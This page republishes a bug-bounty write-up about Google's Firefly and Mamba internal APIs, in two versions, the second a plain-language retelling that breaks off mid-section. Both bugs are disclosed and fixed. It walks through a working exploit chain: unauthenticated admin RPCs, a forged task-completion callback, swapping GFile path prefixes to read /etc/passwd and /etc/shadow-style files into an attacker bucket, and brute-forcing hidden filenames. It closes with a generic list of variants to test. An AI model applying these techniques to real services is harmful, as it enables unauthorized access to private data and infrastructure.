Skip to content
Access control Write-up Advanced

Breaking into Google's GFile for $100k

An attack bypassed authorization in Google's internal APIs, exploiting the GFile library to reach internal filesystems and storage.

brutecat Follow

Published on bughunters.google.com

Bounty$97,604 View original

In my previous write-up, I detailed how I leveraged AI to scan discovery documents at scale across Google’s infrastructure, finding numerous bugs in the process. Following that release, I anticipated that this surface would be highly scrutinized, so I wanted to look for a new approach.

brutecat, on bughunters.google.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

Context

Google's internal APIs are defined as RPCs. Many of them have no custom HTTP mapping, so they never appear in discovery documents. They can still be reached through the generic RPC route:

Text
/$rpc/<fully-qualified-service-name>/<method>

For example:

Text
/$rpc/[redacted].play.movies.firefly.avails.v1.AvailService/ListAvails

This post covers two bugs found on that surface. The first is in firefly-pa.googleapis.com, an API holding admin RPCs for managing YouTube TV and Film partner records tied to Content Manager accounts. Those accounts are sensitive because they can strike or monetise arbitrary videos on YouTube. The second is in staging-mamba-backend.sandbox.googleapis.com, which exposes an unauthenticated /v1/process endpoint that copies a user-supplied file into a temporary CNS directory used by the Mamba UI's frame-metrics pipeline.

Both bugs appear to stem from a copy function built on GoogleFile (GFile), an internal file library that picks a storage backend from the path prefix. A user-supplied path is therefore an instruction about which backend to touch.

Setup

No accounts or special roles were needed for the Mamba endpoint: it was unauthenticated. For Firefly, the requests carried a cookie, an Authorization header and an API key, all redacted in the write-up, with Origin: https://partnerdash.google.com.

Because the RPCs had no discovery documents, the researcher used req2proto to leak endpoint parameters (protobuf). AI tooling was used to scan the RPC surface at scale and to help with the later filename prediction. The Mamba work was done together with Theo.

Finding it

After a previous write-up on scanning discovery documents with AI, the researcher expected that surface to be heavily scrutinised and moved to the generic RPC route instead. The AI tooling flagged firefly-pa.googleapis.com, which contained a large number of admin RPCs for managing YouTube TV and Film partner records. There were no authorisation checks whatsoever.

Using RPCs in this API, it was possible to dump any studio record. These contained internal contact info, Content Manager emails and internal notes, which even contained plaintext passwords.

Request

Decoded body: {1: studio_id="<REDACTED>"}

Response

JSON
{
  "studioId": "<REDACTED>",
  "displayName": "<REDACTED>",
  "hellboyId": "<REDACTED>",
  "flareId": "1",
  "searchLabel": "<REDACTED>",
  "primaryInternalContact": "playsupport-moviestv",
  "externalContacts": [
    {
      "email": "<REDACTED>",
      "contactRole": "<REDACTED>",
      "contentType": "CONTENT_TV",
      "regions": ["APAC"],
      "countries": ["AU"],
      "name": "<REDACTED>",
      "preferredLanguage": "LANG_EN_AU"
    },
    ...
  ],
  "notes": "New Salesforce Alias: <REDACTED>@google.com, <REDACTED>@google.com
<REDACTED>@google.com
PO <REDACTED>

My <REDACTED> Files (<REDACTED>) access: https://<REDACTED>/login  <REDACTED>@google.com, password: <REDACTED> ..."
}

The same missing authorisation checks applied throughout the API. It was possible to list millions of avails and ingestion jobs, dump transaction and order records belonging to other partners, and modify or delete their avails, prepared avails and transactions.

Exploitation

Step 1: the TaskManagerService RPCs

What stood out most was this set of RPCs:

Text
TaskManagerService
  CreateJob
  GetJob
  GetJobStatusLog
  GetTask
  GetTaskStatusLog
  GetTaskExecutionResult
  RestartTask
  NotifyTaskExecutionResult

/TaskManagerService.CreateJob appeared to allow a copyFileTask that took a user-supplied Bigstore/Blobstore path and copied it to another user-supplied Bigstore/Blobstore path:

Text
message CopyFileTask {
  string task_id = 3;
  FileIdentifier src_file = 1;
  FileIdentifier dest_file = 2;
  bool overwrite = 4;
}

message FileIdentifier {
  oneof identifier_oneof {
    BigstoreIdentifier bigstore_identifier = 1;
    BlobstoreIdentifier blobstore_identifier = 2;
  }
}

Other RPCs on the API exposed potentially sensitive internal Bigstore paths such as /bigstore/ypc-archive/package/<REDACTED>/resources/<REDACTED>.xml. If one of those files could be copied to the researcher's own GCS bucket, it could be read. Bigstore is the internal name for Google Cloud Storage (GCS).

Step 2: a job that never ran

A single job copying a target file to the researcher's bucket was accepted. CreateJob returned server-assigned IDs for both tasks, but the job stayed in the NEW state. The CreateJobRequest allowed "dependent tasks", so the next attempt configured a dependency:

Text
message Job {
  string job_id = 1;
  JobClientInfo client_info = 5;
  repeated Task tasks = 2;
  repeated Dependency dependencies = 3;
  ExecutionStatus job_status = 4;
}

message Dependency {
  repeated string in_task_names = 1;
  repeated string in_task_ids = 3;
  string out_task_name = 2;
  string out_task_id = 4;
}

A job with two tasks was created. dummy performed a harmless copy inside the researcher's own bucket, while exfil copied the target file to that bucket. The dependency meant exfil would only run after dummy completed:

JSON
{
    "job": { "clientInfo": {"client":"JOB_CLIENT_ASSET_MANAGER","clientId":"vrp"},
    "tasks": [
        {
            "taskName":"dummy",
            "copyFileTask": {
                  "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"}},
                  "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"}},
                  "overwrite":true
                }
        },
        {
            "taskName":"exfil",
            "copyFileTask": {
                  "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/ypc-archive/package/example"}},
                  "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/exfil.xml"}},
                  "overwrite":true
                }
        }
    ],
    "dependencies": [ {"inTaskNames":["dummy"],"outTaskName":"exfil"} ] }
}

Response

JSON
{
    "jobId": "2030d1a000000000",
    "tasks": [
        {"taskName":"dummy","copyFileTask":{"taskId":"a030d1a000000000"}},
        {"taskName":"exfil","copyFileTask":{"taskId":"6030d1a000000000"}}
    ]
}

It was still stuck in NEW. RestartTask returned an internal server error without executing anything. TaskManagerService looked like an internal service called by other services such as AssetManagerService, but no surface for invoking arbitrary tasks via AssetManagerService was found, so this was a dead end. The report was submitted to Google VRP with everything found so far.

Step 3: getting out of NEW with a forged callback

About a day later, the AI tooling was pointed at the problem again. It noticed that NotifyTaskExecutionResult is a callback used by workers to report that a task had finished, but it did not verify that the caller was the worker assigned to that task. Since exfil depended on dummy, the RPC could be called directly to falsely report the server-assigned dummy task as STATUS_COMPLETE_SUCCESS:

JSON
{
  "taskId": "a030d1a000000000",
  "status": {"status": "STATUS_COMPLETE_SUCCESS"},
  "copyFileTaskExecutionResult": {
    "destFiles": {
      "bigstoreIdentifier": {
        "filePath": "/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"
      }
    }
  }
}

The scheduler trusted the forged callback, marked dummy as complete, and dispatched the dependent exfil task to the real production backend.

Step 4: racing the deletion

The task ran, but the file did not stay in the bucket. On retries the researcher noticed that it would create the file and then delete it right after. A quick script raced this and exfiltrated the file:

Bash
curl 'https://storage.googleapis.com/my-public-writeable-vrp-bucket/poc/exfil.xml'
# HTTP 200  (2,270,337 bytes)
# <?xml version="1.0" encoding="UTF-8"?>
# <DolbyLabsMDF xmlns="http://www.dolby.com/schemas/dvmd/4_0_2"> ...

A cleaner approach followed: by only allowing allUsers to read and upload to the bucket, while disallowing deletion, no race was needed. The backend could not delete the file afterwards.

Step 5: Bigstore in name only

Internally at Google there is a file library called GoogleFile (GFile). It provides a common interface over different storage systems, with a FileFactory selecting the actual backend based on the path prefix. The same copy function can therefore operate on numerous internal systems and protocols such as Bigstore, Blobstore, CNS (Colossus), Chubby, or even the borgtask's local filesystem, as long as that FileFactory is linked into the binary.

In the task completion response, the bigstoreIdentifier used the /bigstore/ path prefix. The field name could be a misnomer: if copyFileTask passed the user-supplied string directly into GFile, changing the prefix could decide what the backend actually accessed. A few prefixes were tested, and it worked:

FileFactory Response
/bigstore/ Empty bucket name
/blobstore/ Invalid path
/cns/ unable to parse path: invalid cell name: ; '/cns/'; Open on /cns/
/ls/ LockService OpenExisting error: /ls: access denied
/cfs/ unable to parse path: invalid file factory prefix: /cfs; Open on /cfs/
/cfs2/ unable to parse path: invalid file factory prefix: /cfs2; Open on /cfs2/
/namespace/ /namespace/: Invalid name space path/pattern: /namespace/; NamespaceFileFactory::Open
/ffs/ Unexpected faultyfs prefix: /ffs
/readahead/ Malformatted /readahead path: /readahead/
/memfile/ File not found: /memfile/
/google_src/head/ FileFactory '//file/google_src' not found while resolving path '/google_src/head'. The application has not been linked against the '//file/google_src' library or InitGoogle() has not been called yet.

A FileFactory has to be linked into the binary to be usable. In this case, /google_src/head/ was not.

Step 6: reading and writing the borgtask

GFile can also operate on local files. Supplying /etc/passwd.borg as the source path and copying it to the bucket showed that the copy ran directly on borg:

Text
<redacted>:x:2501:5000::/user/<redacted>:/bin/bash
<redacted>:x:2503:5000::/user/<redacted>:/bin/bash
<redacted>:x:2527:5000::/user/<redacted>:/bin/bash
...

This file was massive, with millions of lines, including the LDAP of every Googler. Reaching the borgtask means there is no sandbox or isolation layer such as GVisor: the filesystem of the actual server running has been reached. Arbitrary files could also be written to the borgtask by swapping source and destination. This was tested by writing /tmp/poc.txt with brutecat was here.

Step 7: resolving Google through Chubby

Chubby is Google's distributed lock and naming service. Internal systems use it to coordinate and store small bits of metadata, including where services can be found. GFile makes Chubby queryable through /ls/<cell>/... paths. A cell is a separate Chubby instance that usually serves one data center. Since Chubby was enabled on GFile, a limited set of queries was tested to see how Chubby is used internally to resolve Borg Name Service (BNS) addresses.

Internally, Google services are reachable through GSLB addresses (for example, [redacted].googleapis.com is served at blade:corp-hr-api), which are leaked externally in some places. Using a leaked copy of java/com/google/loadbalancer/rpc/GslbChannelPicker3.java (from decompiling some binaries Google published), the fallback Chubby query for blade:apphosting-stubbyproxy can be computed as /ls/ce/loadbalancer/fallback/924/blade_apphosting-stubbyproxy, which returns:

Text
/bns/ce/borg/ce/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp
/bns/lcscld/borg/lcscld/bns/app-engine-inbound-stubby-proxy/prod-global.inbound-stubby-proxy:spp

Querying a BNS address such as /ls/qk/borg/qk/bns/apps-drive-genoa-server/prod-stripe10.genoa-server/0 (0 being task ID 0 and qk an example cell) returned the IPv6 addresses for that borgtask.

GetTaskStatusLog showed that the copy executed as [redacted], allowing access to any linked GFile backend, including Bigstore, Blobstore, CNS (Colossus, the foundational storage system used by most Google services) and Chubby. That is close to full read on Google's scalable storage system as this production identity. Google was informed about the escalation and the report was quickly updated to P0.

Step 8: the Mamba copy primitive

Three days later, another issue turned up. staging-mamba-backend.sandbox.googleapis.com exposed an unauthenticated /v1/process endpoint that accepted a user-supplied refFilename and copied it into a temporary CNS directory used by the Mamba UI's frame-metrics pipeline.

Supplying a file the backend could not read returned an extremely verbose error:

Request

HTTP
POST /v1/process HTTP/2
Host: staging-mamba-backend.sandbox.googleapis.com
Content-Type: application/json

{"refFilename":"/etc/shadow"}

Response

JSON
{
  "error": "Copying /etc/shadow to /cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb16870b.borgtask.google.com-151cc3-1243617-2fcfc29258853-656ebf3e9ce1d failed with error: open failed for /etc/shadow: Permission denied"
}

This leaked the full destination path. Output was written under:

Text
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/

The destination looked suspicious: a shared frame_metrics_tmp_dir with a seven-day TTL, no user or tenant identifier anywhere in the path, and a filename that was not a UUID. The directory was probably globally readable to unprivileged CNS callers so other parts of the pipeline could consume the temporary files. This assumption was later confirmed.

The filename looked deterministic rather than random. Every section appeared to be runtime metadata from the borgtask that handled the request:

Text
tempfile-<borg-host>-<tid>-<pid>-<cycle>-<wall>

If the source file existed and the copy succeeded, the endpoint returned nothing useful:

Text
HTTP/2 200 OK
Content-Type: application/json

{}

So /etc/passwd could be copied into CNS, but the response hid the generated filename. Without that filename, the result could not be read back. The verbose errors proved the endpoint accepted borg-local paths and wrote their contents into CNS as [redacted]. If the name of a successful copy could be recovered, the Firefly primitive could read it. The only thing protecting the file was its filename.

Step 9: pinning the borgtask with /batch

The beginning of the generated names looked very similar across requests: the borgtask hostname and process ID repeated, while the thread ID, cycle counter and wall-clock timestamp changed. Separate HTTP requests could be routed to different borgtasks, which made comparing names unreliable. The API also supported Google's standard /batch endpoint, and every subrequest inside one multipart batch was handled by the same borgtask.

That made it possible to surround one successful, hidden copy with a large number of deliberate failures:

Text
before-0   -> /etc/shadow
before-1   -> /etc/shadow
before-2   -> /etc/shadow
...
target     -> /etc/passwd
...
after-0    -> /etc/shadow
after-1    -> /etc/shadow
after-2    -> /etc/shadow

Any reliably failing source path worked. /etc/shadow was reused because trying to copy it failed and leaked the generated destination filename. The target /etc/passwd copy succeeded and returned {}. Since every part ran on the same borgtask, the failures on either side leaked sibling names from the exact process that created the hidden file.

The worker IDs in those names usually formed a nearly consecutive run:

Text
... 11617f, 116180, 116181, [missing], 116183, 116184 ...

The missing worker was a candidate for the successful target request. There could be several gaps due to other work in the process, so the PoC repeated the batch and retained the attempt with the fewest possible hidden workers and the narrowest timestamp range. This gave the stable borg host and PID, plus the likely thread ID and two chronological neighbours. The remaining problem was predicting the exact cycle counter and wall-clock timestamp.

Step 10: predicting the hidden filename

The samples and the path oracle were handed to GPT-5.6-sol on xhigh, which worked out how to turn the neighbouring failures into a bounded search for the exact filename.

The leaked names were chronological, so the hidden request's wall value could be interpolated from its position between the neighbouring worker IDs. The cycle counter moved at roughly 1,300 cycles per microsecond, letting the PoC predict it from the wall clock. Adding a small amount of jitter around both estimates produced a few million possible paths instead of an unbounded search.

There was also a convenient oracle for testing them. Supplying an existing CNS candidate path back to /v1/process returned {}, while a nonexistent path returned an error. The PoC packed candidates into parallel /batch requests and streamed through them until one returned {}.

The final process:

  1. Put the real copy between dozens of failing copies in one /batch request.
  2. Parse the failures to recover the stable borg host, PID and neighbouring (tid, cycle, wall) samples.
  3. Find gaps in the nearly consecutive worker IDs and retain the batch with the narrowest search window.
  4. Interpolate wall, predict cycle, and generate exact candidate CNS paths with a small jitter range.
  5. Replay candidates through /process until the existing-file oracle returned {}.

Running it against /etc/passwd required no authentication:

Text
$ python3 poc_mamba.py /etc/passwd
[*] Target: staging-mamba-backend.sandbox.googleapis.com/v1/process
[*] Copy input: /etc/passwd
[*] Authentication: none
[-] Batch attempt 1: dense worker run has 9 bounded gaps (limit 8); retrying
[+] Batch attempt 3: isolated 1 possible hidden worker(s): ee4bc; combined wall span 7,805 us
[+] Batch attempt 11: isolated 1 possible hidden worker(s): 116182; combined wall span 4,979 us
[*] Using best retained batch model with 4,979 us combined span
[*] Borg task: 6d1b3bec58af19f2-8e5eb168749.borgtask.google.com
[*] Process ID: 1066201
[*] Possible worker 116182: neighbors 116181/116183, wall 656e3cabf8fad..656e3cabfa320
[*] Streaming up to 8,988,980 candidates
[*] Tested 100,000 candidate paths
[*] Tested 200,000 candidate paths
[*] Tested 300,000 candidate paths
[*] Tested 400,000 candidate paths
[*] Tested 500,000 candidate paths
[*] Tested 600,000 candidate paths
[*] Tested 700,000 candidate paths
[+] Oracle hit after 771,000 candidates
[+] Verified CNS tempfile path:
/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f

The supposedly hidden output path was now known exactly.

Step 11: reading it back through Firefly

The Mamba endpoint copied the file into CNS but exposed no HTTP endpoint for downloading it. The generic GFile reader found three days earlier filled that gap. Passing the recovered path into the Firefly PoC copied the CNS object to the bucket as play-movies-encoding:

Bash
$ python3 firefly_read_poc.py \
  "/cns/iu-d/home/video-pipeline-metrics/mamba_ui/frame_metrics_tmp_dir/ttl=7d/tempfile-6d1b3bec58af19f2-8e5eb168749.borgtask.google.com-116182-1066201-10033873e0aa9-656e3cabfa04f"

[+] EXFILTRATED 3870 bytes
    head: b'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...'

Together, these assets would give a remote attacker arbitrary local file read as video-pipeline-metrics, plus access to any other GFile backend permitted to that production identity.

Root cause

The developers likely just needed to move a file from Bigstore or into CNS and used GFile because it was convenient. Firefly even called its protobuf field bigstoreIdentifier. GFile treats the beginning of a path as an instruction selecting the FileFactory implementation. Unless the caller explicitly allowlists a prefix, a user-supplied Bigstore filename can become a CNS, Blobstore, Chubby, X20 and so on, or a local path instead. The researcher expects this bug class to exist elsewhere throughout Google's APIs.

On Firefly, the missing authorisation checks on the admin RPCs and the unverified NotifyTaskExecutionResult callback compounded the problem: the callback let a client mark a task complete and have the scheduler dispatch a dependent task to the production backend. On Mamba, the verbose error leaked the destination path, the filename was deterministic runtime metadata, and the shared CNS directory was readable to unprivileged callers, so the only protection was the secrecy of a predictable name.

Impact

On Firefly, the missing checks allowed dumping any studio record, including internal contact info, Content Manager emails and internal notes with plaintext passwords, listing millions of avails and ingestion jobs, dumping other partners' transaction and order records, and modifying or deleting their avails, prepared avails and transactions. The GFile copy primitive executed as [redacted], giving access to any linked GFile backend, including Bigstore, Blobstore, CNS and Chubby, close to full read on Google's scalable storage system as that production identity. It also reached the borgtask filesystem with no sandbox or isolation layer such as GVisor, allowing arbitrary local file read (including /etc/passwd.borg) and arbitrary file write.

On Mamba, the unauthenticated endpoint allowed arbitrary local file read as video-pipeline-metrics, plus access to any other GFile backend permitted to that production identity. The panel noted that the Mamba issue is very difficult to exploit and that exfiltration requires additional capabilities.

Fix

Google has since resolved the issues. The write-up does not describe the specific changes made. The general fix implied by the root cause is to allowlist the accepted path prefix before passing a user-supplied path into GFile.

Variants to test

  1. Enumerate RPCs reachable through /$rpc/<service>/<method> that have no discovery document, and use req2proto to recover their parameters. A positive result is an RPC that returns data or performs an action without an authorisation check.
  2. Look for copy or move tasks that accept a source and destination path. A positive result is a response that reflects a backend-specific error for a prefix you supplied, as the FileFactory table above shows.
  3. Try swapping the path prefix on a field named after one backend (such as bigstoreIdentifier). A positive result is a different backend's error message or a successful copy from a path outside the named backend.
  4. Test callbacks that report task completion, such as NotifyTaskExecutionResult, by calling them directly for a server-assigned task ID. A positive result is a dependent task being dispatched.
  5. Probe unauthenticated endpoints that copy a user-supplied filename and return verbose errors. A positive result is a leaked destination path containing runtime metadata such as host, thread ID, process ID, cycle counter and wall clock.
  6. Use the /batch endpoint to pin subrequests to one backend process and surround a successful copy with deliberate failures. A positive result is a nearly consecutive run of worker IDs with a gap where the hidden request ran.
  7. Use an existing-file oracle (a request that returns {} for an existing path and an error otherwise) to brute-force predicted filenames. A positive result is a {} response for a candidate path you generated.

Timeline

  • 2026-07-14: initial Firefly report sent to Google, accepted 4 hours later
  • 2026-07-18: Google's security team informed about the Firefly GFile escalation, report updated to P0
  • 2026-07-18: initial Mamba report sent to Google, accepted 9 minutes later
  • 2026-07-24: panel awards $60,000 for Firefly, category "unrestricted file system or database access"
  • 2026-07-24: panel awards $37,604.40 for Mamba, same category, with a downgrade because the issue is very difficult to exploit and exfiltration requires additional capabilities

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 32 min read.

What happened, in plain words

A security researcher found two separate bugs in Google's internal systems. Both bugs came from the same basic mistake: a piece of software that copies files trusted the name of the file it was given, and that name could point at almost anything inside Google, not just the storage service the developers had in mind.

The first bug was in an internal Google API called Firefly, which manages records for YouTube TV and Film partners. It had no authorisation checks at all, so partner records could be read and changed without permission. It also had a file-copy feature that could be pointed at Google's internal storage systems and even at the local disk of the server running the copy. The researcher used it to read files that should never have been reachable from outside.

The second bug was in a staging service called Mamba, which had an open endpoint (no login needed) that copied a file you named into a shared temporary folder. It hid the name of the copied file, but leaked enough information in error messages to work the name out. The researcher then used the first bug to read the file back.

Google has since resolved both issues. The researcher was later paid $60,000 for the Firefly report and $37,604.40 for the Mamba report, and joined Google as a Security Engineer after the research was done.

Before going further, a few words that come up constantly:

  • An API (Application Programming Interface) is a way for one program to ask another program to do something. Think of a restaurant: the menu is the API, the kitchen is the server, and you never walk into the kitchen yourself. You order by name and the kitchen does the work.
  • An endpoint is one specific item on that menu, for example "copy this file" or "show this record".
  • A request is the message you send to ask for something; a response is the message you get back.
  • A cookie is a small piece of text your browser stores and sends back with each request so the server can recognise you, like a cloakroom ticket. An API key is a similar secret string that identifies an application. An Authorization header is the part of a request that carries proof of who you are.
  • Authorisation (British spelling) means checking whether the person asking is allowed to do what they are asking. Authentication means checking who they are. The Firefly bug was a missing authorisation check: the system knew who was calling, but never asked whether they were allowed.

Background: how the researcher got in

Google's internal APIs are defined as RPCs (Remote Procedure Calls). An RPC is simply a function call that happens over the network: your program says "run this function with these arguments" and another machine runs it. Many of these RPCs have no custom web address (no HTTP mapping), so they never show up in Google's public discovery documents, which are machine-readable lists of available APIs.

Even without a web address, these RPCs can still be reached through a generic route:

Text
/$rpc/<fully-qualified-service-name>/<method>

Line by line: /$rpc/ is a fixed prefix that says "I want to call an RPC directly". <fully-qualified-service-name> is the long internal name of the service, and <method> is the function you want to run. It is like a postal address where the first part is the building and the second part is the person.

An example of this is:

Text
/$rpc/[redacted].play.movies.firefly.avails.v1.AvailService/ListAvails

Here the service is [redacted].play.movies.firefly.avails.v1.AvailService and the method is ListAvails, which lists "avails" (the periods during which a film or TV show is licensed to be shown in a particular place).

In a previous write-up the researcher had used AI to scan discovery documents at scale and found many bugs. Expecting that surface to be watched closely afterwards, the researcher moved to this generic RPC route instead, since it was likely less examined. Without a discovery document, the parameters of each RPC had to be recovered another way, using a tool called req2proto.

A word on protobuf: it is Google's compact binary format for structured data. Instead of text like {"name": "Alice"}, it sends numbered fields, so field 1 might be the name and field 2 the age. That is why the write-up shows things like {1: studio_id="<REDACTED>"}: field number 1 holds the studio ID.

AI tooling was used to scan this RPC surface at scale. One of the APIs it flagged was firefly-pa.googleapis.com, which held a large number of admin RPCs for managing YouTube TV and Film partner records tied to Content Manager accounts. Content Manager is the YouTube tool partners use to manage rights: who may show which video, where, and for how long. These accounts are highly sensitive because they can strike (take down) or monetise arbitrary videos on YouTube. And, as it turned out, there were no authorisation checks here whatsoever.

Dumping every partner's CMS records

Using RPCs in this API, it was possible to dump any studio record. These contained internal contact info, Content Manager emails, and internal notes, which even contained plaintext passwords.

Request

Line by line:

  • POST is the type of request used to send data to a server (as opposed to GET, which just asks for something).
  • The path calls the GetStudio method of the StudioManagement service, with ?alt=json asking for the answer in JSON (a plain-text data format) rather than binary.
  • HTTP/2 is the version of the web protocol being used.
  • Host says which server the request is for.
  • Cookie, Authorization and X-Goog-Api-Key carry the caller's credentials. They are redacted here so nobody can reuse them.
  • Origin tells the server which website the request came from; here it pretends to come from partnerdash.google.com, the partner dashboard.
  • Content-Type: application/x-protobuf says the body is in protobuf format.
  • The body itself is redacted.

Decoded body: {1: studio_id="<REDACTED>"}. In plain words: field 1 of the request holds the ID of the studio whose record is being asked for.

Response

JSON
{
  "studioId": "<REDACTED>",
  "displayName": "<REDACTED>",
  "hellboyId": "<REDACTED>",
  "flareId": "1",
  "searchLabel": "<REDACTED>",
  "primaryInternalContact": "playsupport-moviestv",
  "externalContacts": [
    {
      "email": "<REDACTED>",
      "contactRole": "<REDACTED>",
      "contentType": "CONTENT_TV",
      "regions": ["APAC"],
      "countries": ["AU"],
      "name": "<REDACTED>",
      "preferredLanguage": "LANG_EN_AU"
    },
    ...
  ],
  "notes": "New Salesforce Alias: <REDACTED>@google.com, <REDACTED>@google.com
<REDACTED>@google.com
PO <REDACTED>

My <REDACTED> Files (<REDACTED>) access: https://<REDACTED>/login  <REDACTED>@google.com, password: <REDACTED> ..."
}

This is the studio's record. studioId, displayName, hellboyId, flareId and searchLabel are internal identifiers and labels for the studio. primaryInternalContact is the internal team that looks after it. externalContacts is a list of people outside Google who deal with this studio, each with an email, a role, the type of content, the region and country, a name and a preferred language. The notes field is free text written by staff, and here it contained Salesforce aliases, a purchase order number, a login link with an email address and, in plain text, a password. That is the kind of detail that should never sit in a notes field, let alone be readable by an outsider.

The same missing authorisation checks applied throughout the API. It was possible to list millions of avails and ingestion jobs, dump transaction and order records belonging to other partners, and modify or delete their avails, prepared avails and transactions. In everyday terms: a partner could have had their licensing data read, changed or wiped by someone who was not them.

The job that never ran

What stood out most was this set of RPCs:

Text
TaskManagerService
  CreateJob
  GetJob
  GetJobStatusLog
  GetTask
  GetTaskStatusLog
  GetTaskExecutionResult
  RestartTask
  NotifyTaskExecutionResult

TaskManagerService is a service that manages background jobs. A job is a piece of work the server does on its own, made of one or more tasks. CreateJob creates one, GetJob and GetTask read its state, the ...StatusLog methods return logs of what happened, RestartTask asks for a task to be run again, and NotifyTaskExecutionResult is how a worker reports back that it has finished.

Looking at /TaskManagerService.CreateJob, it seemed to allow for a copyFileTask that took in a user-supplied Bigstore/Blobstore path and copied it to another user-supplied Bigstore/Blobstore path:

Text
message CopyFileTask {
  string task_id = 3;
  FileIdentifier src_file = 1;
  FileIdentifier dest_file = 2;
  bool overwrite = 4;
}

message FileIdentifier {
  oneof identifier_oneof {
    BigstoreIdentifier bigstore_identifier = 1;
    BlobstoreIdentifier blobstore_identifier = 2;
  }
}

This is a protobuf definition, a description of the shape of the data. CopyFileTask has a task ID, a source file (src_file), a destination file (dest_file) and an overwrite flag that says whether an existing destination file may be replaced. FileIdentifier says a file can be named either as a Bigstore location or as a Blobstore location, but not both (oneof means exactly one of the listed fields is set).

Bigstore is Google's internal name for Google Cloud Storage (GCS), the service where files and objects are stored in the cloud. Blobstore is another internal storage system. Think of them as two different warehouses; the address you give tells the system which warehouse to walk into.

From other RPCs on this API, the researcher noticed potentially sensitive internal Bigstore paths such as /bigstore/ypc-archive/package/<REDACTED>/resources/<REDACTED>.xml. If one of those files could be copied to the researcher's own GCS bucket, it could be read. A bucket is a container for files in cloud storage, like a folder at the top level.

Initially, a single job was created to copy a target file to the researcher's own bucket. CreateJob accepted it and returned server-assigned IDs for both tasks, but the job was always stuck in the NEW state. NEW means "created but not started". The researcher noticed that in the CreateJobRequest you could specify "dependent tasks", so the next attempt configured a dependency:

Text
message Job {
  string job_id = 1;
  JobClientInfo client_info = 5;
  repeated Task tasks = 2;
  repeated Dependency dependencies = 3;
  ExecutionStatus job_status = 4;
}

message Dependency {
  repeated string in_task_names = 1;
  repeated string in_task_ids = 3;
  string out_task_name = 2;
  string out_task_id = 4;
}

A Job has an ID, information about the client that created it, a list of tasks (repeated means a list, zero or more), a list of dependencies, and a status. A Dependency says which tasks must come in (in_task_names, in_task_ids) before another task goes out (out_task_name, out_task_id). In everyday terms: "do not start the washing until the shopping is done".

A job with two tasks was created. dummy performed a harmless copy inside the researcher's own bucket, while exfil copied the target file to that bucket. The dependency meant exfil would only run after dummy completed:

JSON
{
    "job": { "clientInfo": {"client":"JOB_CLIENT_ASSET_MANAGER","clientId":"vrp"},
    "tasks": [
        {
            "taskName":"dummy",
            "copyFileTask": {
                  "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"}},
                  "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"}},
                  "overwrite":true
                }
        },
        {
            "taskName":"exfil",
            "copyFileTask": {
                  "srcFile":{"bigstoreIdentifier":{"filePath":"/bigstore/ypc-archive/package/example"}},
                  "destFile":{"bigstoreIdentifier":{"filePath":"/bigstore/my-public-writeable-vrp-bucket/poc/exfil.xml"}},
                  "overwrite":true
                }
        }
    ],
    "dependencies": [ {"inTaskNames":["dummy"],"outTaskName":"exfil"} ] }
}

Line by line: the job says it comes from the asset manager client with the ID vrp (Google's Vulnerability Reward Program). The first task, dummy, copies pred.txt from the researcher's bucket to the same place, which changes nothing and is safe. The second task, exfil, copies /bigstore/ypc-archive/package/example into the researcher's bucket as exfil.xml. The dependencies entry says exfil may only run after dummy.

Response

JSON
{
    "jobId": "2030d1a000000000",
    "tasks": [
        {"taskName":"dummy","copyFileTask":{"taskId":"a030d1a000000000"}},
        {"taskName":"exfil","copyFileTask":{"taskId":"6030d1a000000000"}}
    ]
}

The server accepted the job and gave it an ID, and gave each task its own ID. Those IDs matter later: they are how the server refers to the tasks.

It was still stuck in NEW. RestartTask returned an internal server error without executing anything. TaskManagerService looked like an internal service called by other services such as AssetManagerService, but no surface for invoking arbitrary tasks via AssetManagerService was found, so this was a dead end. The report was submitted to Google VRP with everything found so far. Google VRP is Google's Vulnerability Reward Program: the scheme through which people report security bugs and get paid for them.

Getting out of NEW with a forged callback

About a day later, the AI tooling was pointed at the problem again. It noticed that NotifyTaskExecutionResult is a callback used by workers to report that a task had finished, but it did not verify that the caller was the worker assigned to that task. A callback is a message one part of a system sends to another to say "I am done" or "here is the result". If the receiver does not check who sent it, anyone can send it. It is like a school where anyone can sign the register to say a class was taught.

Since exfil depended on dummy, the RPC could be called directly to falsely report the server-assigned dummy task as STATUS_COMPLETE_SUCCESS:

JSON
{
  "taskId": "a030d1a000000000",
  "status": {"status": "STATUS_COMPLETE_SUCCESS"},
  "copyFileTaskExecutionResult": {
    "destFiles": {
      "bigstoreIdentifier": {
        "filePath": "/bigstore/my-public-writeable-vrp-bucket/poc/pred.txt"
      }
    }
  }
}

Line by line: taskId is the ID the server gave to dummy. status claims the task finished successfully. copyFileTaskExecutionResult supplies the "result" of the copy, pointing at the file in the researcher's own bucket. The server had no way to tell this was not the real worker reporting in.

The scheduler trusted the forged callback, marked dummy as complete, and dispatched the dependent exfil task to the real production backend. A scheduler is the part of the system that decides when and where tasks run. Production means the real, live systems that serve actual users, as opposed to a test environment.

Racing the deletion

The task ran, but the file did not stay in the bucket. On retries the researcher noticed that it would create the file and then delete it right after. A quick script raced this and exfiltrated the file:

Bash
